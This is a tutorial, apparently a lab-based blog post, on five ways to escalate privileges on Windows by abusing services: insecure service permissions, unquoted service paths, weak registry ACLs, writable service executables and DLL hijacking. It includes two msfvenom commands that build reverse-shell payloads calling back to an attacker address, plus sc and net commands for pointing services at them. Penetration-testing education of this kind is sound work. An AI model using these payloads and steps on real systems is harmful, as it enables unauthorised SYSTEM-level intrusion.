Windows Privilege Escalation - Service Exploits

For this blog, we will be discussing 5 ways to get an admin shell in Windows by exploiting services.

1. Insecure Service Properties
2. Unquoted Service Path
3. Weak Registry Permissions
4. Insecure Service Executables
5. DLL Hijacking

Insecure Service Permission

Each service has an Access Control List ( ACL) that specifies specific permissions to a certain service.

Some permissions are pretty harmful like being:

• able to query the configuration of the service
  Command: sc qc <service>
• able to check the current status of the service
  Command: sc query <service>
• able to start and stop the service
  Command: net start/stop <service>
• and change the configuration of the service
  Command: sc config <service> <option>= <value>

If a user has permission to change the service configuration that runs a SYSTEM privilege, we can change the path and point it to our reverse shell payload.

For the sake of the demonstration, I am already connected to the target machine as a user and have uploaded some needed files through SMB share.

I have also used winPEAS to get the system information.

After the long extraction of the service information from the target machine, we can see that there is a service called DACL service which allows the user to modify the service.

winPEAS also shows that the service is a modifiable service.

Using accesschk, we can check the permission for the service.

We can see that as a user we can change the configuration and start/stop the service.

Let's then query the configuration for the service.

• The service has to be started manually. (DEMAND_START)
• The binary path is pointed to an executable file. (But we can change it because we can modify the service)
• The service has no dependencies and has a permission to run it as a system user. (LocalSystem)
• The service is currently stopped.

Since we can configure the service, we can simply change the binary path pointing to our reverse shell payload.

I used the following msfvenom command to generate executable reverse shell.

msfvenom -p windows/shell_reverse_tcp lhost=10.4.5.83 lport=53 -f exe > rev_shell.exe

I also transferred the generated reverse shell to target machine via SMB share.

Then I changed the binary path of the service to point it to our reverse shell.

Run net start daclsvc and spawn a shell.

Unquoted Service Path

Services whose executable path contains spaces and isn't enclosed within quotes can lead to a privilege escalation.

For us, if we see C:\UserFiles\Secret Folder\secret_service.exe, it will obviously run the secret_service.exe but not for Windows. Windows will accept it as:

• C:\UserFiles\Secret - Executable Service
• Folder\secret_service.exe - Argument

In our target machine, we found a service named unquotedpathservice.exe (unquotedsvc).

Notice that the service is using an unquoted path: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Let's use accesschk to check the permission of the service and paths.

• We can start and stop the service (SERVICE_START and SERVICE_STOP)
• We cannot write to "C:\Program Files" but we can write to "C:\Program Files\Unquoted Path Service\"

With that permission, we can drop our executable reverse shell in "C:\Program Files\Unquoted Path Service\".

Run net start unquotedsvc and spawn a shell.

Weak Registry Permission

Aside from services, Windows registry can also have an ACL and registry stores entries for each services in the machine. If there is a misconfiguration in ACL, it may be possible for the low-privileged user to modify a service's configuration even if we cannot modify the service directly.

For this example, we can modify the registry of regsvc service.

We can confirm this in PowerShell and Acceschk.
(Note that the user is part of an INTERACTIVE group who can logged on to the machine.)

Then verify if we can start the service.

Next step is to check the current values fo the registry for the regsvc service.

As you can see, the service can be executed with system privileges.

Since we have a write access into this registry, we can overwrite the value of ImagePath and point it into your executable reverse shell payload.

Run net start regsvc and spawn a shell.

Insecure Service Executables

If the current user has a permission to modify a service, we can simply replicate the service with out own executable reverse shell.

From the winPEAS output, we can see that the filepermsvc service allows a group called Everyone to modify it.

We can validate it using acchesschk.

Generate an executable reverse shell and send it to the target machine and overwrite the file.

Run net start filepermsvc and spawn a shell.

DLL Hijacking

Just like linux binaries, services in windows will try to load functionality from a library called DLL or Dynamic-Link Library. When the service runs, it will execute all the DLLs with the same privileges as the service that loaded it.

If the DLL file is loaded with an absolute path, it might be possible to escalate privileges if the path is writable by our user and if the DLL is missing or not found.

From the result of winPEAS, a service called dllsvc is vulnerable to DLL Hijacking.

Using accesschk, verify if we can start the service.

Verify as well if the service can be executed with system privileges.

Next step is to run Process Monitor or procmon to monitor the DLLs being loaded when the user executes the service.

We can see that the service is loading the dll file named hijackme.dll but it cannot be found in the machine.

So create a reverse shell with msfvenom and copy it to the writable path, in this case, C:\Temp is writable.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.4.5.83 LPORT=53 -f dll > hijackme.dll

Run net start dllsvc and spawn as shell.